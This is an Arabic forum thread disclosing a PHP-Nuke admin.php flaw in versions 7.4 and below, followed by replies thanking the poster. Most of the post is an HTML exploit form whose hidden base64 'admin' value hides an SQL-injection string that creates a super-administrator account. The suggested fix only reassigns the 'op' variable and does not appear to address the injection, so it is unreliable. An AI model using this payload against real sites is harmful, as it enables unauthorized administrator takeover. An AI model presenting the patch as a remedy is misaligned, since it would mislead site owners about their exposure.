ثغرة النيوك , مع سد الثغرة ...

[VIP]

ثغرة النيوك الجديده , مع الترقيع !
السلام عليكم ورحمة الله وبركاته



الثغرة في ملف : Admin.php

وهي عبارة عن استثمار .. لخطاء برمجي بالملف ,,

يمّكن المخترق من الحصول على حساب ادامن في مجلة النيوك ,,

الاصدارات المصابة : 7.4 وما تحتها من اصدارات ,

وهذا جزء من الكود الاستثماري للثغرة طبعا كود html:

NOME: 
    <input type="text" 
name="add_name"> 
    <br> 
    PASSWORD: 

    <input type="text" 
name="add_pwd"> 
    <br> 
    E-MAIL: 
    <input type="text" 
name="add_email"> 
    <br> 
    <input type="hidden" 
name="admin" 
value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> 
    <br> 
    <input type="hidden" 
name="add_radminsuper" value="1"> 
    <br> 
    <input type="hidden" 
name="op" 
value="AddAuthor"> 
  </p> 
  <p> 
    <input type="submit" 
name="Submit" 
value="Create 
Admin"> 
    <br> 
  </p> 
</form>

الترقيع الصحيح :

قم باضافة هذة السطور الى ملف admin.php

if ( !empty($HTTP_GET_VARS['op']) ) 
{ 
$op = $HTTP_GET_VARS['op']; 
} 

if ( !empty($HTTP_POST_VARS['op']) ) 
{ 
$op = $HTTP_POST_VARS['op']; 
}

مع التحية اخواني اصحاب المواقع

 

 

[برق]

مشكور اخوي بصراحه معلومه مهمه لاصحاب المواقع المبتدئين

[VIP]

العفو طال عمرك

[برق]

مشكور اخوي على هل شرح الممتاز